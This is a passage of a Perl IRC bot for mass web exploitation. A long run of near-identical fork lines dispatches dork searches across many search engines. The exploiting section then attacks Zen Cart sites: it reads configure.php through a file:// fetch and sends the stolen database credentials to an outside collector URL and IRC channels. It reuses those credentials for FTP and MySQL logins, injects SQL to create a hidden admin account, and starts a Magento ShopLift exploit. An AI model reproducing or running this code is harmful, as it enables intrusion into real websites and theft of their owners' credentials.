  895.     if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type); } exit; } }
  896.     if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type); } exit; } }
  897.     if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type); } exit; } }
  898.     if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type); } exit; } }
  899.     if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type); } exit; } }
  900.     if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type); } exit; } }
  901.     if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type); } exit; } }
  902.     if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type); } exit; } }
  903.     if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type); } exit; } }
  904.     if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type); } exit; } }
  905.     if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type); } exit; } }
  906.     if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type); } exit; } }
  907.     if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type); } exit; } }
  908.     if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type); } exit; } }
  909.     if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type); } exit; } }
  910.     if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type); } exit; } }
  911.     if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type); } exit; } }
  912.     if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type); } exit; } }
  913.     if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type); } exit; } }
  914.     if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type); } exit; } }
  915.     if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type); } exit; } }
  916.     if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type); } exit; } }
  917.     if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type); } exit; } }
  918.     if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type); } exit; } }
  919.     if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; } }
  920.     if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type); } exit; } }
  921.     if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type); } exit; } }
  922.     if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type); } exit; } }
  923.     if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type); } exit; } }
  924.     if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type); } exit; } }
  925.     if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type); } exit; } }
  926.     if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type); } exit; } }
  927.     if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type); } exit; } }
  928.     if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type); } exit; } }
  929.     if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type); } exit; } }
  930.     if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type); } exit; } }
  931.     if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type); } exit; } }
  932.     if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type); } exit; } }
  933.     if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type); } exit; } }
  934.     if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type); } exit; } }
  935.     if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type); } exit; } }
  936.     if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type); } exit; } }
  937.     if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type); } exit; } }
  938.     if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type); } exit; } }
  939.     if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type); } exit; } }
  940.     if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type); } exit; } }
  941.     if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type); } exit; } }
  942.     if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type); } exit; } }
  943.     if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; } }
  944.     if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; } }
  945.     if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type); } exit; } }
  946.     if ($engine =~ /yahooCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCA",$type); } exit; } }
  947.     if ($engine =~ /yahooUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoUK",$type); } exit; } }
  948.     if ($engine =~ /yahooDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoDE",$type); } exit; } }
  949.     if ($engine =~ /yahooFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoFR",$type); } exit; } }
  950.     if ($engine =~ /yahooES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoES",$type); } exit; } }
  951.     if ($engine =~ /yahooIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoIT",$type); } exit; } }
  952.     if ($engine =~ /yahooHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoHK",$type); } exit; } }
  953.     if ($engine =~ /yahooID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoID",$type); } exit; } }
  954.     if ($engine =~ /yahooIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoIN",$type); } exit; } }
  955.     if ($engine =~ /yahooAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAU",$type); } exit; } }
  956.     if ($engine =~ /yahooMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoMX",$type); } exit; } }
  957.     if ($engine =~ /yahooTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoTW",$type); } exit; } }
  958.     if ($engine =~ /yahooBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoBR",$type); } exit; } }
  959.     if ($engine =~ /yahooAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAR",$type); } exit; } }
  960.     if ($engine =~ /yahooNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoNL",$type); } exit; } }
  961.     if ($engine =~ /yahooDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoDK",$type); } exit; } }
  962.     if ($engine =~ /yahooPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPH",$type); } exit; } }
  963.     if ($engine =~ /yahooCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCL",$type); } exit; } }
  964.     if ($engine =~ /yahooRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoRU",$type); } exit; } }
  965.     if ($engine =~ /yahooCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCH",$type); } exit; } }
  966.     if ($engine =~ /yahooCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCO",$type); } exit; } }
  967.     if ($engine =~ /yahooFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoFI",$type); } exit; } }
  968.     if ($engine =~ /yahooRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoRO",$type); } exit; } }
  969.     if ($engine =~ /yahooVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoVE",$type); } exit; } }
  970.     if ($engine =~ /yahooAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAT",$type); } exit; } }
  971.     if ($engine =~ /yahooPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPL",$type); } exit; } }
  972.     if ($engine =~ /yahooKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoKR",$type); } exit; } }
  973.     if ($engine =~ /yahooNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoNZ",$type); } exit; } }
  974.     if ($engine =~ /yahooGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoGR",$type); } exit; } }
  975.     if ($engine =~ /yahooPE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPE",$type); } exit; } }
  976.     if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; } }
  977.     if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type); } exit; } }
  978.     if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type); } exit; } }
  979.     if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type); } exit; } }
  980.     if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type); } exit; } }
  981.     if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type); } exit; } }
  982.     if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type); } exit; } }
  983.     if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type); } exit; } }
  984.     if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type); } exit; } }
  985.     if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type); } exit; } }
  986.     if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type); } exit; } }
  987.     if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type); } exit; } }
  988.     if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type); } exit; } }
  989.     if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type); } exit; } }
  990.     if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type); } exit; } }
  991.     if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type); } exit; } }
  992.     if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type); } exit; } }
  993.     if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type); } exit; } }
  994.     if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; } }
  995.     if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type); } exit; } }
  996.     if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type); } exit; } }
  997.     if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type); } exit; } }
  998.     if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; } }
  999.     if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type); } exit; } }
  1000.     if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; } }
  1001.     if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type); } exit; } }
  1002. }
  1003.  
  1004.  
  1005. ###### EXPLOITING #######
  1006. ##########################
  1007. sub zen_lfd() {
  1008.     my $chan = $_[0];
  1009.     my $bug = $_[1];
  1010.     my $simpan = $_[2];
  1011.     my $dork = $_[3];
  1012.     my $engine = $_[4];
  1013.     my $count = 0;
  1014.     my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  1015.     my $num = scalar(@list);
  1016.     if ($num > 0){
  1017.         foreach my $site(@list){
  1018.         $count++;
  1019.         if ($count == $num-1) { &msg("$chan","$zenlogo 4$engine 0 Selesai"); }
  1020.             my $test2 = "http://".$site.$zenshell_test;
  1021.             my $vuln2 = "http://".$site."/images/jrk.php";
  1022.             my $zctest = "http://".$site.$bug;
  1023.             my $re2 = &get_content($test2);
  1024.             my $zhtml  = &get_content($zctest);
  1025.             if ($zchtml =~ /zc_install/){
  1026.             &zen_query($chan,$site,$zctest,$engine);}
  1027.             if ($re2 =~ /GIF89/){
  1028.             &get_content("".$botsaver."?x=-SHELL- ".$vuln2."");
  1029.             &msg("$chanxxx", "$zenlogo(4@8$engine15)(4@13VulN15)13 ".$vuln2."15");}
  1030.             my $test  = "http://".$site."extras/curltest.php";
  1031.             my $vuln  = "http://".$site."extras/ipn_test_return.php";
  1032.              my $html  = &get_content($test);
  1033.                 if ($html =~ /Zen Cart/){
  1034.                 my $target  = &get_content($vuln);
  1035.                 if ($target =~ /failed to open stream/){
  1036.                 my $dir   ="";
  1037.                 if ($target =~ m/in <b>(.*?)\/extras\/ipn_test_return.php<\/b>/) {$dir = $1;}
  1038.                 &msg("$chan","$zenlogo(http://".$site." [+]Direktori:  $dir");
  1039.             my $data  = "http://".$site."/extras/curltest.php?url=file:///".$dir."/includes/configure.php";
  1040.             my $sql  = &get_content($data);
  1041.         if ($sql =~/DB_SERVER/i )
  1042.         {
  1043.             if ($sql =~ m/'DB_SERVER', '(.*)'/g) {$dbserver=$1;}
  1044.             if ($sql =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {$dbuser=$1;}
  1045.             if ($sql =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {$dbpassword=$1;}
  1046.             if ($sql =~ m/'DB_DATABASE', '(.*)'/g) {$dbname=$1;}
  1047.             &get_content("".$botsaver."?x=-DATABASE- http://".$site." - Dir:".$dir." - Hostname:".$dbserver." - Username:".$dbuser." - Password:".$dbpassword." - DBName:".$dbname."");
  1048.             &msg("$chan","2$zenlogo2 11[+]Database[+]11 6http://".$site."6 11[+]dir:11 6".$dir."6 11[+]hostname:11 6".$dbserver."6 11[+]username:11 6".$dbuser."6 11[+]password:11 6".$dbpassword."6 11[+]dbname:11 6".$dbname."6 ");
  1049.             &msg("$chanxxx","2$zenlogo2 11[+]Database[+]11 6http://".$site."6 11[+]dir:11 6".$dir."6 11[+]hostname:11 6".$dbserver."6 11[+]username:11 6".$dbuser."6 11[+]password:11 6".$dbpassword."6 11[+]dbname:11 6".$dbname."6");
  1050.             }
  1051.        
  1052.         my $check = &get_content("http://".$site."phpmyadmin");
  1053.             if ($check =~ /phpMyAdmin/) {
  1054.             &get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."phpmyadmin");
  1055.             &msg("$chan","2$zenlogo2(13 Phpmyadmin 13   12http://".$site."phpmyadmin 12");}
  1056.         if ($dbuser =~ /_/) {@users = split("_", $dbuser); $usr = $users[0];}
  1057.             my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$pass."";
  1058.             my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$dbuser."&pass=".$dbpassword."";
  1059.             my $ftplog = &get_content($ceklog);
  1060.             my $ftplog2 = &get_content($ceklog2);
  1061.                 if ($ftplog =~ /FTP success!/) {
  1062.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$dbpassword."");
  1063.                     &msg("$chanxxx","2$zenlogo2[+]FTP[+]5 ftp://".$site." [+]username:".$usr." [+]password:".$dbpassword."5");
  1064.                 }
  1065.                 if ($ftplog2 =~ /FTP success!/) {
  1066.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$dbuser." - Password:".$dbpassword."");
  1067.                     &msg("$chanxxx","$zenlogo13[+]FTP[+] 5ftp://".$site." [+]username:".$dbuser." [+]password:".$dbpassword."5");
  1068.                 }
  1069.             my $port = "3306";
  1070.             my $platform = "mysql";
  1071.             my $dsn = "dbi:$platform:$dbname:$site:$port";
  1072.             my $DBIconnect=  DBI->connect($dsn,$dbuser,$dbpassword);
  1073.         if ($DBIconnect) {
  1074.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$dbserver." - Username:".$dbuser." - Password:".$dbpassword." - DBName:".$dbname."");
  1075.         &msg("$chan","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname."  13] [4 Connected 4 13]");
  1076.         &msg("$chanxxx","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname."  13] [4 Connected 4 13]");
  1077.         }
  1078.             my $dsn2 = "dbi:$platform:$dbname:$dbserver:$port";
  1079.             my $DBIconnect2=  DBI->connect($dsn2,$dbuser,$dbpassword);
  1080.         if ($DBIconnect2) {
  1081.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$dbserver." - Username:".$dbuser." - Password:".$dbpassword." - DBName:".$dbname."");
  1082.         &msg("$chan","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname."  13] [4 Connected 4 13]");
  1083.         &msg("$chanxxx","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname."  13] [4 Connected 4 13]");
  1084.         }
  1085.        
  1086.          if ($userrev =~ /_/) {@users = split("_", $dbuser); $usr = $users[0];}    
  1087.             my $ceklog = "ftp://".$usr.":".$dbpassword."@".$site."";
  1088.             my $ceklog2 = "ftp://".$dbuser.":".$dbpassword."@".$site."";
  1089.             my $ftplog = &get_content($ceklog);
  1090.             my $ftplog2 = &get_content($ceklog2);
  1091.                 if ($ftplog =~ /ftp/) {
  1092.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$dbpassword." / cPanel: ".$site."".$usr."".$dbpassword."/cpanel ");
  1093.                     &msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$dbpassword." / [+]cpanel: ".$site."".$usr."".$dbpassword."/cpanel ");
  1094.                     }
  1095.                 if ($ftplog2 =~ /ftp/) {
  1096.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$dbuser." - Password:".$dbpassword." / cPanel: ".$site."".$usr."".$dbpassword."/cpanel ");
  1097.                     &msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$dbuser." [+]password:".$dbpassword." [+]cpanel: ".$site."".$dbuser."".$dbpassword."/cpanel ");
  1098.                     }
  1099.                 }
  1100.             }
  1101.         }
  1102.     }
  1103. }
  1104.  
  1105. sub zen_query() {
  1106.     my $chan = $_[0];
  1107.     my $url = $_[1];
  1108.     my $test = $_[2];
  1109.     my $engine = $_[3];
  1110.     my $code  = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
  1111.     my $req = HTTP::Request->new(POST => $test);
  1112.     $req->content_type("application/x-www-form-urlencoded");
  1113.     $req->content("query_string=".$code);
  1114.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1115.     $ua->timeout(3);
  1116.     my $res = $ua->request($req);
  1117.     my $data = $res->as_string;
  1118.     if ( $data =~ /1 statements processed/i ) {
  1119.         &get_content("".$botsaver."?x=-VULN- http://".$url."admin/login.php");
  1120.         &msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  1121.         &msg("$chanxxx","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  1122.     }
  1123.     elsif ( $data =~ /Duplicate entry/i ) {
  1124.         &get_content("".$botsaver."?x=-LOGIN- http://".$url."admin/login.php");
  1125.         &msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
  1126.         &msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
  1127.     }
  1128. }
  1129.  
  1130. sub shoplift() {
  1131.     my $chan = $_[0];
  1132.     my $bug = $_[1];
  1133.     my $dork = $_[2];
  1134.     my $engine = $_[3];
  1135.     my $count = 0;
  1136.     my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
  1137.         my $num = scalar(@list);
  1138.     if ($num > 0) {
  1139.         foreach my $site (@list) {
  1140.             $count++;
  1141.             if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
  1142.         my $test = "".$shopliftxpl."?target=http://".$site."&type=shoplift";
  1143.         my $htmlx = &get_content($test);
